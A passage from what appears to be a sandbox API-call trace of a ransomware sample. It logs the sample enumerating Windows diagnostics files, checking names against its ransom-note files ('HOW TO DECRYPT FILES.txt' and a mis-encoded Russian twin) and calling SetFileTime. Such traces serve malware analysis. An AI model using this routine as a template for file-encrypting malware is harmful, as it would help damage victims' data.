lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.760] CloseHandle (hObject=0xffffffff) returned 0 [0126.760] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc7b00, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeceddb9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_Adjustwirelessadaptersettings.psd1", cAlternateFileName="")) returned 1 [0126.760] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.761] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_Adjustwirelessadaptersettings.psd1") returned -1 [0126.761] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_Adjustwirelessadaptersettings.psd1") returned -1 [0126.761] lstrcmpiA (lpString1="", lpString2="RS_Adjustwirelessadaptersettings.psd1") returned -1 [0126.761] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\RS_AdjustScreenBrightness.psd1") returned="RS_AdjustScreenBrightness.psd1" [0126.761] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.761] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.761] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.761] CloseHandle (hObject=0xffffffff) returned 0 [0126.762] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeceddb9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeceddb9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_Balanced.psd1", cAlternateFileName="")) returned 1 [0126.762] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.762] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_Balanced.psd1") returned -1 [0126.762] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_Balanced.psd1") returned -1 [0126.762] lstrcmpiA (lpString1="", lpString2="RS_Balanced.psd1") returned -1 [0126.762] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\RS_Adjustwirelessadaptersettings.psd1") returned="RS_Adjustwirelessadaptersettings.psd1" [0126.762] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.762] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.762] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.762] CloseHandle (hObject=0xffffffff) returned 0 [0126.763] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc7b00, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xecc7b00, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ChangeProcessorState.psd1", cAlternateFileName="")) returned 1 [0126.763] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.763] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ChangeProcessorState.psd1") returned -1 [0126.763] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ChangeProcessorState.psd1") returned -1 [0126.763] lstrcmpiA (lpString1="", lpString2="RS_ChangeProcessorState.psd1") returned -1 [0126.763] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\RS_Balanced.psd1") returned="RS_Balanced.psd1" [0126.763] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.763] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.763] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.763] CloseHandle (hObject=0xffffffff) returned 0 [0126.764] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeceddb9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeceddb9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_DisableScreensaver.psd1", cAlternateFileName="")) returned 1 [0126.764] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.764] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_DisableScreensaver.psd1") returned -1 [0126.764] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_DisableScreensaver.psd1") returned -1 [0126.764] lstrcmpiA (lpString1="", lpString2="RS_DisableScreensaver.psd1") returned -1 [0126.764] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\RS_ChangeProcessorState.psd1") returned="RS_ChangeProcessorState.psd1" [0126.764] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.764] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.764] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.764] CloseHandle (hObject=0xffffffff) returned 0 [0126.765] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeceddb9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeceddb9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_DisableUSBSelective.psd1", cAlternateFileName="")) returned 1 [0126.765] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.765] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_DisableUSBSelective.psd1") returned -1 [0126.765] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_DisableUSBSelective.psd1") returned -1 [0126.765] lstrcmpiA (lpString1="", lpString2="RS_DisableUSBSelective.psd1") returned -1 [0126.765] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\RS_DisableScreensaver.psd1") returned="RS_DisableScreensaver.psd1" [0126.765] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.765] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.765] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.765] CloseHandle (hObject=0xffffffff) returned 0 [0126.766] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeceddb9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeceddb9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ResetDisplayIdleTimeout.psd1", cAlternateFileName="")) returned 1 [0126.766] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.766] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ResetDisplayIdleTimeout.psd1") returned -1 [0126.766] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ResetDisplayIdleTimeout.psd1") returned -1 [0126.766] lstrcmpiA (lpString1="", lpString2="RS_ResetDisplayIdleTimeout.psd1") returned -1 [0126.766] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\RS_DisableUSBSelective.psd1") returned="RS_DisableUSBSelective.psd1" [0126.766] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.766] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.766] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.766] CloseHandle (hObject=0xffffffff) returned 0 [0126.767] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc7b00, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xecc7b00, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ResetIdleDiskTimeout.psd1", cAlternateFileName="")) returned 1 [0126.767] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.767] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ResetIdleDiskTimeout.psd1") returned -1 [0126.767] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ResetIdleDiskTimeout.psd1") returned -1 [0126.767] lstrcmpiA (lpString1="", lpString2="RS_ResetIdleDiskTimeout.psd1") returned -1 [0126.767] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\RS_ResetDisplayIdleTimeout.psd1") returned="RS_ResetDisplayIdleTimeout.psd1" [0126.767] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.767] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.767] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.768] CloseHandle (hObject=0xffffffff) returned 0 [0126.768] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeceddb9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeceddb9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ResetIdleSleepsetting.psd1", cAlternateFileName="")) returned 1 [0126.768] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.768] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ResetIdleSleepsetting.psd1") returned -1 [0126.768] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ResetIdleSleepsetting.psd1") returned -1 [0126.768] lstrcmpiA (lpString1="", lpString2="RS_ResetIdleSleepsetting.psd1") returned -1 [0126.768] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\RS_ResetIdleDiskTimeout.psd1") returned="RS_ResetIdleDiskTimeout.psd1" [0126.768] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.768] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.769] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.769] CloseHandle (hObject=0xffffffff) returned 0 [0126.769] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeceddb9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeceddb9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ResetIdleSleepsetting.psd1", cAlternateFileName="")) returned 0 [0126.769] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0126.771] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd828c705, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xd828c705, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xd828c705, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6ada, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Powerconfig.ps1", cAlternateFileName="")) returned 1 [0126.771] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.771] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Powerconfig.ps1") returned -1 [0126.771] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Powerconfig.ps1") returned -1 [0126.771] lstrcmpiA (lpString1="", lpString2="Powerconfig.ps1") returned -1 [0126.771] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\*.*") returned="*.*" [0126.771] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.771] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.771] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.771] CloseHandle (hObject=0xffffffff) returned 0 [0126.772] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1152bb60, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1152bb60, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd82665a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_Troubleshooter.ps1", cAlternateFileName="")) returned 1 [0126.772] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.772] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Power_Troubleshooter.ps1") returned -1 [0126.772] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Power_Troubleshooter.ps1") returned -1 [0126.772] lstrcmpiA (lpString1="", lpString2="Power_Troubleshooter.ps1") returned -1 [0126.772] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\Powerconfig.ps1") returned="Powerconfig.ps1" [0126.772] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.772] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.772] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.772] CloseHandle (hObject=0xffffffff) returned 0 [0126.773] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11551cbd, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x11551cbd, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8324c7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_AdjustDimDisplay.ps1", cAlternateFileName="")) returned 1 [0126.773] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_AdjustDimDisplay.ps1") returned -1 [0126.773] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_AdjustDimDisplay.ps1") returned -1 [0126.773] lstrcmpiA (lpString1="", lpString2="RS_AdjustDimDisplay.ps1") returned -1 [0126.773] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\Power_Troubleshooter.ps1") returned="Power_Troubleshooter.ps1" [0126.773] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.773] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.773] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.774] CloseHandle (hObject=0xffffffff) returned 0 [0126.774] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11577e1a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x11577e1a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8370f39, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x890, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_AdjustScreenBrightness.ps1", cAlternateFileName="")) returned 1 [0126.774] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.774] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_AdjustScreenBrightness.ps1") returned -1 [0126.774] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_AdjustScreenBrightness.ps1") returned -1 [0126.774] lstrcmpiA (lpString1="", lpString2="RS_AdjustScreenBrightness.ps1") returned -1 [0126.774] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\RS_AdjustDimDisplay.ps1") returned="RS_AdjustDimDisplay.ps1" [0126.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.774] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.775] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.775] CloseHandle (hObject=0xffffffff) returned 0 [0126.775] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1159df77, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1159df77, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8397097, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_Adjustwirelessadaptersettings.ps1", cAlternateFileName="")) returned 1 [0126.775] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.775] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_Adjustwirelessadaptersettings.ps1") returned -1 [0126.775] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_Adjustwirelessadaptersettings.ps1") returned -1 [0126.775] lstrcmpiA (lpString1="", lpString2="RS_Adjustwirelessadaptersettings.ps1") returned -1 [0126.775] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\RS_AdjustScreenBrightness.ps1") returned="RS_AdjustScreenBrightness.ps1" [0126.775] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.775] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.776] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.776] CloseHandle (hObject=0xffffffff) returned 0 [0126.776] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115c40d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x115c40d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd83e3353, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x857, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_Balanced.ps1", cAlternateFileName="")) returned 1 [0126.776] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.776] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_Balanced.ps1") returned -1 [0126.776] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_Balanced.ps1") returned -1 [0126.776] lstrcmpiA (lpString1="", lpString2="RS_Balanced.ps1") returned -1 [0126.776] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\RS_Adjustwirelessadaptersettings.ps1") returned="RS_Adjustwirelessadaptersettings.ps1" [0126.776] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.776] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.777] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.777] CloseHandle (hObject=0xffffffff) returned 0 [0126.777] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, 